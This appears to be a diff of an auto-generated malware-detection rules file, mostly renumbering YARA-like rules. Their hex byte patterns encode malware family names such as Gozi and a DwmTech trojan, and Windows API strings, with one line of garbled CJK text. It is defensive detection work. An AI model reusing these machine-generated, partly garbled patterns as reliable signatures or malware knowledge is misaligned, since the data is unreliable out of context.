1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*0+(#a_01_16 & 1)*24946+(#a_01_17 & 1)*29537+(#a_01_18 & 1)*24941) >=7 } -rule _InfrastructureShared_28270{ +rule _InfrastructureShared_30022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -368675,7 +391517,7 @@ rule _InfrastructureShared_28270{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*26950+(#a_01_3 & 1)*26957+(#a_01_4 & 1)*29285+(#a_01_5 & 1)*29551) >=2 } -rule _InfrastructureShared_28271{ +rule _InfrastructureShared_30023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -368688,7 +391530,7 @@ rule _InfrastructureShared_28271{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29797+(#a_01_2 & 1)*25973+(#a_01_3 & 1)*3) >=3 } -rule _InfrastructureShared_28272{ +rule _InfrastructureShared_30024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -368703,7 +391545,7 @@ rule _InfrastructureShared_28272{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29276+(#a_01_2 & 1)*29285+(#a_01_3 & 1)*21038+(#a_01_4 & 1)*26999+(#a_01_5 & 1)*17729) >=3 } -rule _InfrastructureShared_28273{ +rule _InfrastructureShared_30025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -368716,7 +391558,7 @@ rule _InfrastructureShared_28273{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*29474+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0) >=5 } -rule _InfrastructureShared_28274{ +rule _InfrastructureShared_30026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -368733,7 +391575,7 @@ rule _InfrastructureShared_28274{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*5120+(#a_01_2 & 1)*4864+(#a_01_3 & 1)*21294+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*0+(#a_01_8 & 1)*0) >=9 } -rule _InfrastructureShared_28275{ +rule _InfrastructureShared_30027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 14 00 03 00 21 " @@ -368744,7 +391586,7 @@ rule _InfrastructureShared_28275{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*49) >=20 } -rule _InfrastructureShared_28276{ +rule _InfrastructureShared_30028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -368754,7 +391596,7 @@ rule _InfrastructureShared_28276{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_28277{ +rule _InfrastructureShared_30029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368765,7 +391607,7 @@ rule _InfrastructureShared_28277{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*23658) >=3 } -rule _InfrastructureShared_28278{ +rule _InfrastructureShared_30030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368777,7 +391619,7 @@ rule _InfrastructureShared_28278{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*13312+(#a_01_2 & 1)*24879) >=3 } -rule _InfrastructureShared_28279{ +rule _InfrastructureShared_30031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 0a 00 21 " @@ -368794,7 +391636,7 @@ rule _InfrastructureShared_28279{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28015+(#a_01_2 & 1)*28788+(#a_01_3 & 1)*26711+(#a_01_4 & 1)*101+(#a_01_5 & 1)*32+(#a_01_6 & 1)*11897+(#a_01_7 & 1)*17801) >=8 } -rule _InfrastructureShared_28280{ +rule _InfrastructureShared_30032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " @@ -368807,7 +391649,7 @@ rule _InfrastructureShared_28280{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*32+(#a_01_2 & 1)*28789+(#a_01_3 & 1)*-30276) >=20 } -rule _InfrastructureShared_28281{ +rule _InfrastructureShared_30033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -368818,7 +391660,7 @@ rule _InfrastructureShared_28281{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-11725) >=2 } -rule _InfrastructureShared_28282{ +rule _InfrastructureShared_30034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 02 00 08 00 21 " @@ -368835,7 +391677,7 @@ rule _InfrastructureShared_28282{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25701+(#a_01_2 & 1)*29477+(#a_01_3 & 1)*8293+(#a_01_4 & 1)*26977+(#a_01_5 & 1)*27749+(#a_01_6 & 1)*29301+(#a_01_7 & 1)*24948) >=2 } -rule _InfrastructureShared_28283{ +rule _InfrastructureShared_30035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -368850,7 +391692,7 @@ rule _InfrastructureShared_28283{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25196+(#a_01_2 & 1)*27731+(#a_01_3 & 1)*25940+(#a_01_4 & 1)*27714+(#a_01_5 & 1)*16687) >=5 } -rule _InfrastructureShared_28284{ +rule _InfrastructureShared_30036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -368870,7 +391712,7 @@ rule _InfrastructureShared_28284{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*0+(#a_01_10 & 1)*20304) >=11 } -rule _InfrastructureShared_28285{ +rule _InfrastructureShared_30037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0c 00 21 " @@ -368890,7 +391732,7 @@ rule _InfrastructureShared_28285{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20494+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0+(#a_01_8 & 1)*17167+(#a_01_9 & 1)*20575+(#a_01_10 & 1)*14389+(#a_01_11 & 1)*25955) >=12 } -rule _InfrastructureShared_28286{ +rule _InfrastructureShared_30038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 09 00 21 " @@ -368907,7 +391749,7 @@ rule _InfrastructureShared_28286{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*20581+(#a_01_2 & 1)*25449+(#a_01_3 & 1)*11617+(#a_01_4 & 1)*28271+(#a_01_5 & 1)*29779+(#a_01_7 & 1)*108+(#a_01_8 & 1)*114) >=14 } -rule _InfrastructureShared_28287{ +rule _InfrastructureShared_30039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 07 00 21 " @@ -368921,7 +391763,7 @@ rule _InfrastructureShared_28287{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26990+(#a_01_2 & 1)*28500+(#a_01_4 & 1)*111+(#a_01_5 & 1)*105) >=15 } -rule _InfrastructureShared_28288{ +rule _InfrastructureShared_30040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -368932,7 +391774,7 @@ rule _InfrastructureShared_28288{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*111) >=3 } -rule _InfrastructureShared_28289{ +rule _InfrastructureShared_30041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368944,7 +391786,7 @@ rule _InfrastructureShared_28289{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*2560+(#a_01_3 & 1)*10242) >=4 } -rule _InfrastructureShared_28290{ +rule _InfrastructureShared_30042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -368958,7 +391800,7 @@ rule _InfrastructureShared_28290{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*108+(#a_01_3 & 1)*30319+(#a_01_4 & 1)*16705+(#a_01_5 & 1)*26485) >=6 } -rule _InfrastructureShared_28291{ +rule _InfrastructureShared_30043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -368974,7 +391816,7 @@ rule _InfrastructureShared_28291{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*16705+(#a_01_2 & 1)*16999+(#a_01_3 & 1)*24832+(#a_01_4 & 1)*0+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_28292{ +rule _InfrastructureShared_30044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368986,7 +391828,7 @@ rule _InfrastructureShared_28292{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*99+(#a_01_2 & 1)*101) >=4 } -rule _InfrastructureShared_28293{ +rule _InfrastructureShared_30045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -368999,7 +391841,7 @@ rule _InfrastructureShared_28293{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0) >=4 } -rule _InfrastructureShared_28294{ +rule _InfrastructureShared_30046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -369012,7 +391854,7 @@ rule _InfrastructureShared_28294{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*100+(#a_01_3 & 1)*102+(#a_01_4 & 1)*65) >=5 } -rule _InfrastructureShared_28295{ +rule _InfrastructureShared_30047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -369025,7 +391867,7 @@ rule _InfrastructureShared_28295{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*114+(#a_01_3 & 1)*97+(#a_01_4 & 1)*25940) >=5 } -rule _InfrastructureShared_28296{ +rule _InfrastructureShared_30048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -369039,7 +391881,7 @@ rule _InfrastructureShared_28296{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*-7392+(#a_01_3 & 1)*755+(#a_01_4 & 1)*-5373+(#a_01_5 & 1)*749) >=6 } -rule _InfrastructureShared_28297{ +rule _InfrastructureShared_30049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -369055,7 +391897,7 @@ rule _InfrastructureShared_28297{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29795+(#a_01_2 & 1)*29813+(#a_01_3 & 1)*28261+(#a_01_4 & 1)*16999+(#a_01_5 & 1)*26223+(#a_01_6 & 1)*32) >=7 } -rule _InfrastructureShared_28298{ +rule _InfrastructureShared_30050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,12 00 12 00 09 00 21 " @@ -369073,7 +391915,7 @@ rule _InfrastructureShared_28298{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=18 } -rule _InfrastructureShared_28299{ +rule _InfrastructureShared_30051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -369083,7 +391925,7 @@ rule _InfrastructureShared_28299{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_28300{ +rule _InfrastructureShared_30052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -369095,7 +391937,7 @@ rule _InfrastructureShared_28300{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*110+(#a_01_3 & 1)*115) >=3 } -rule _InfrastructureShared_28301{ +rule _InfrastructureShared_30053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -369108,7 +391950,7 @@ rule _InfrastructureShared_28301{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*15726+(#a_01_2 & 1)*8758+(#a_01_3 & 1)*6400) >=4 } -rule _InfrastructureShared_28302{ +rule _InfrastructureShared_30054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -369122,7 +391964,7 @@ rule _InfrastructureShared_28302{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*80+(#a_01_3 & 1)*121+(#a_01_4 & 1)*19745+(#a_01_5 & 1)*27715) >=7 } -rule _InfrastructureShared_28303{ +rule _InfrastructureShared_30055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -369138,7 +391980,7 @@ rule _InfrastructureShared_28303{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29541+(#a_01_2 & 1)*29551+(#a_01_3 & 1)*25712+(#a_01_4 & 1)*14145+(#a_01_5 & 1)*3072+(#a_01_6 & 1)*21076) >=7 } -rule _InfrastructureShared_28304{ +rule _InfrastructureShared_30056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 0b 00 21 " @@ -369156,7 +391998,7 @@ rule _InfrastructureShared_28304{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12343+(#a_01_2 & 1)*26953+(#a_01_4 & 1)*27661+(#a_01_5 & 1)*29285+(#a_01_7 & 1)*98+(#a_01_8 & 1)*99+(#a_01_9 & 1)*28521+(#a_01_10 & 1)*28018) >=20 } -rule _InfrastructureShared_28305{ +rule _InfrastructureShared_30057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -369166,7 +392008,7 @@ rule _InfrastructureShared_28305{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_28306{ +rule _InfrastructureShared_30058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 09 00 21 " @@ -369182,7 +392024,7 @@ rule _InfrastructureShared_28306{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26222+(#a_01_2 & 1)*29811+(#a_01_3 & 1)*101+(#a_01_4 & 1)*29298+(#a_01_6 & 1)*0+(#a_01_7 & 1)*28527) >=5 } -rule _InfrastructureShared_28307{ +rule _InfrastructureShared_30059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369194,7 +392036,7 @@ rule _InfrastructureShared_28307{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*116+(#a_01_3 & 1)*97) >=30 } -rule _InfrastructureShared_28308{ +rule _InfrastructureShared_30060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,32 00 32 00 01 00 21 " @@ -369204,7 +392046,7 @@ rule _InfrastructureShared_28308{ ((#a_01_0 & 1)*20515) >=50 } -rule _InfrastructureShared_28309{ +rule _InfrastructureShared_30061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -369216,7 +392058,7 @@ rule _InfrastructureShared_28309{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17545+(#a_01_2 & 1)*3942) >=2 } -rule _InfrastructureShared_28310{ +rule _InfrastructureShared_30062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -369230,7 +392072,7 @@ rule _InfrastructureShared_28310{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29544+(#a_01_2 & 1)*27740+(#a_01_3 & 1)*24877+(#a_01_4 & 1)*28011) >=5 } -rule _InfrastructureShared_28311{ +rule _InfrastructureShared_30063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -369240,7 +392082,7 @@ rule _InfrastructureShared_28311{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_28312{ +rule _InfrastructureShared_30064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -369253,7 +392095,7 @@ rule _InfrastructureShared_28312{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_28313{ +rule _InfrastructureShared_30065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -369265,24 +392107,37 @@ rule _InfrastructureShared_28313{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*54+(#a_01_4 & 1)*54) >=6 } -rule _InfrastructureShared_28314{ +rule _InfrastructureShared_30066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 0a 00 21 " strings : $a_01_0 = {41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 53 74 65 61 6d 43 72 61 63 6b 00 01 00 21 39 39 3a 39 39 3a 39 39 3a 39 39 3a 39 39 3a 39 39 3a 39 39 3a 39 39 3a 39 39 3a 73 73 75 68 68 6a 01 00 0c 76 76 78 37 37 39 37 37 39 25 25 27 01 00 15 77 77 79 } //20515 $a_01_1 = {39 39 3a 39 39 3a 39 39 3a 39 39 3a 5d 5d 5f 01 00 12 27 27 29 37 37 39 37 37 39 37 37 39 65 65 67 62 62 64 01 00 12 40 40 61 62 62 63 38 38 3a 37 37 39 37 37 39 24 25 27 01 00 0c 62 62 64 37 37 39 37 37 39 2a 2b 2d 01 00 0f 63 63 65 37 37 39 20 21 23 21 22 23 40 40 61 01 00 0c 60 60 62 40 40 61 40 40 61 2e 2e 2f 01 00 0b 39 3a 3a 27 27 } //28784 - $a_01_2 = {31 5c 5e 01 00 12 29 29 2b 3d 3d 3e 63 63 64 40 40 61 40 40 61 63 63 64 00 00 61 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 } //12072 - $a_01_3 = {6f 7a 69 2e 52 41 21 4d 54 42 00 01 00 14 71 00 6a 00 45 00 54 00 49 00 45 00 57 00 69 00 70 00 4e 00 01 00 14 46 00 66 00 43 00 51 00 47 00 76 00 55 00 4f 00 63 00 6d 00 01 00 14 48 00 4f 00 47 00 48 00 49 00 43 } //12082 - $a_01_5 = {00 42 00 01 00 14 7a 00 74 00 67 00 6e 00 76 00 61 00 61 00 73 00 6c 00 67 00 01 00 14 72 00 6b 00 61 00 6a 00 78 00 77 00 64 00 61 00 75 00 65 00 01 00 14 51 00 4c 00 53 00 4a 00 42 00 52 00 49 00 54 00 5a } //87 - $a_01_7 = {46 00 77 00 72 00 50 00 74 00 4e 00 64 00 56 00 57 00 } //1 FwrPtNdVW - $a_01_8 = {4d 00 69 00 79 00 50 00 54 00 4c 00 44 00 6c 00 4e 00 5a 00 } //1 MiyPTLDlNZ - $a_01_9 = {42 00 58 00 44 00 59 00 4a 00 67 00 50 00 63 00 62 00 46 00 } //1 BXDYJgPcbF + $a_01_2 = {31 5c 5e 01 00 12 29 29 2b 3d 3d 3e 63 63 64 40 40 61 40 40 61 63 63 64 00 00 61 f0 00 00 09 00 09 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //12072 + $a_01_3 = {69 6e 36 34 2f 44 77 6d 54 65 63 68 2e 41 21 64 68 61 00 02 00 1b 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 02 00 27 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 } //14958 + $a_01_4 = {72 02 00 1b 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 02 00 28 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 41 6e 64 42 69 6e 64 53 68 61 72 65 64 53 65 63 74 69 6f 6e 01 00 16 49 55 6e 6b 6e 6f 77 6e 5f 41 74 6f 6d 69 63 52 65 6c 65 61 73 65 01 00 } //26214 + $a_01_5 = {74 64 53 74 75 62 42 75 66 66 65 72 32 5f 44 69 73 63 6f 6e 6e 65 63 74 00 00 61 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 6f 7a 69 2e 52 41 21 4d 54 42 00 01 00 14 71 00 6a 00 45 00 54 00 49 00 45 00 57 00 69 00 70 00 4e } //17178 + $a_01_8 = {00 51 00 47 00 76 00 55 00 4f 00 63 00 6d 00 01 00 14 48 00 4f 00 47 00 48 00 49 00 43 00 54 00 57 00 45 00 42 00 01 00 14 7a 00 74 00 67 00 6e 00 76 00 61 00 61 00 73 00 6c 00 67 00 01 00 14 72 00 6b } //102 condition: - ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*28784+(#a_01_2 & 1)*12072+(#a_01_3 & 1)*12082+(#a_01_5 & 1)*87+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=6 + ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*28784+(#a_01_2 & 1)*12072+(#a_01_3 & 1)*14958+(#a_01_4 & 1)*26214+(#a_01_5 & 1)*17178+(#a_01_8 & 1)*102) >=6 } -rule _InfrastructureShared_28315{ +rule _InfrastructureShared_30067{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 06 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 77 6d 54 65 63 68 2e 41 21 64 68 61 00 02 00 1b 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 02 00 27 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e } //16675 㩆牔橯湡场湩㐶䐯海敔档䄮搡慨Ȁᬀ瑎䍄浯潰楳楴湯牃慥整桃湡敮ɬ✀瑎䍄浯潰楳楴湯 + $a_01_1 = {63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 02 00 1b 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 02 00 28 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 41 6e 64 42 69 6e 64 53 68 61 72 65 64 53 65 63 74 69 6f 6e 01 00 16 49 55 6e 6b 6e 6f 77 6e 5f 41 74 6f 6d } //29264 + $a_01_2 = {65 6c 65 61 73 65 01 00 1a 43 53 74 64 53 74 75 62 42 75 66 66 65 72 32 5f 44 69 73 63 6f 6e 6e 65 63 74 00 00 61 f0 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 6f 7a 69 2e 52 41 21 4d 54 42 00 01 00 14 71 00 6a 00 45 00 54 } //25449 + $a_01_4 = {00 69 00 70 00 4e 00 01 00 14 46 00 66 00 43 00 51 00 47 00 76 00 55 00 4f 00 63 00 6d 00 01 00 14 48 00 4f 00 47 00 48 00 49 00 43 00 54 00 57 00 45 00 42 00 01 00 14 7a 00 74 00 67 00 6e 00 76 00 61 00 61 00 73 00 6c 00 67 00 01 00 14 72 00 6b 00 61 00 6a 00 } //69 + $a_01_5 = {00 64 00 61 00 75 00 65 00 01 00 14 51 00 4c 00 53 00 4a 00 42 00 52 00 49 00 54 00 5a 00 57 00 01 00 12 46 00 77 00 72 00 50 00 74 00 4e 00 64 00 56 00 57 00 01 00 14 4d 00 69 00 79 00 50 00 54 00 4c 00 44 00 6c 00 4e 00 5a 00 01 00 14 42 00 58 00 44 00 59 00 4a 00 67 00 50 00 63 00 62 00 46 00 00 00 05 00 61 f1 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a } //120 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29264+(#a_01_2 & 1)*25449+(#a_01_4 & 1)*69+(#a_01_5 & 1)*120) >=9 + +} +rule _InfrastructureShared_30068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -369297,7 +392152,7 @@ rule _InfrastructureShared_28315{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*69+(#a_01_3 & 1)*90+(#a_01_4 & 1)*21818+(#a_01_6 & 1)*108+(#a_01_8 & 1)*101) >=9 } -rule _InfrastructureShared_28316{ +rule _InfrastructureShared_30069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -369308,7 +392163,7 @@ rule _InfrastructureShared_28316{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*114) >=3 } -rule _InfrastructureShared_28317{ +rule _InfrastructureShared_30070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 05 00 21 " @@ -369322,7 +392177,7 @@ rule _InfrastructureShared_28317{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*14137+(#a_01_2 & 1)*19783+(#a_01_3 & 1)*29291+(#a_01_4 & 1)*26736) >=4 } -rule _InfrastructureShared_28318{ +rule _InfrastructureShared_30071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 08 00 21 " @@ -369337,7 +392192,7 @@ rule _InfrastructureShared_28318{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25391+(#a_01_2 & 1)*12146+(#a_01_3 & 1)*14958+(#a_01_4 & 1)*25924+(#a_01_5 & 1)*25965) >=5 } -rule _InfrastructureShared_28319{ +rule _InfrastructureShared_30072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -369355,7 +392210,7 @@ rule _InfrastructureShared_28319{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*22595+(#a_01_3 & 1)*24328+(#a_01_4 & 1)*30309+(#a_01_5 & 1)*111+(#a_01_6 & 1)*21306+(#a_01_7 & 1)*116+(#a_01_8 & 1)*111+(#a_01_9 & 1)*21587) >=10 } -rule _InfrastructureShared_28320{ +rule _InfrastructureShared_30073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369367,7 +392222,7 @@ rule _InfrastructureShared_28320{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*111+(#a_01_3 & 1)*48) >=30 } -rule _InfrastructureShared_28321{ +rule _InfrastructureShared_30074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -369379,7 +392234,7 @@ rule _InfrastructureShared_28321{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*80+(#a_01_2 & 1)*28530) >=3 } -rule _InfrastructureShared_28322{ +rule _InfrastructureShared_30075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -369394,7 +392249,7 @@ rule _InfrastructureShared_28322{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29286+(#a_01_2 & 1)*28530+(#a_01_3 & 1)*14131+(#a_01_4 & 1)*25894+(#a_01_5 & 1)*17990) >=3 } -rule _InfrastructureShared_28323{ +rule _InfrastructureShared_30076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -369408,7 +392263,7 @@ rule _InfrastructureShared_28323{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25964+(#a_01_2 & 1)*13877+(#a_01_3 & 1)*6+(#a_01_5 & 1)*5) >=5 } -rule _InfrastructureShared_28324{ +rule _InfrastructureShared_30077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 06 00 21 " @@ -369422,7 +392277,7 @@ rule _InfrastructureShared_28324{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13109+(#a_01_2 & 1)*28015+(#a_01_3 & 1)*31075+(#a_01_5 & 1)*105) >=10 } -rule _InfrastructureShared_28325{ +rule _InfrastructureShared_30078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -369435,7 +392290,7 @@ rule _InfrastructureShared_28325{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*108+(#a_01_2 & 1)*24931+(#a_01_3 & 1)*98) >=30 } -rule _InfrastructureShared_28326{ +rule _InfrastructureShared_30079{ meta: description = 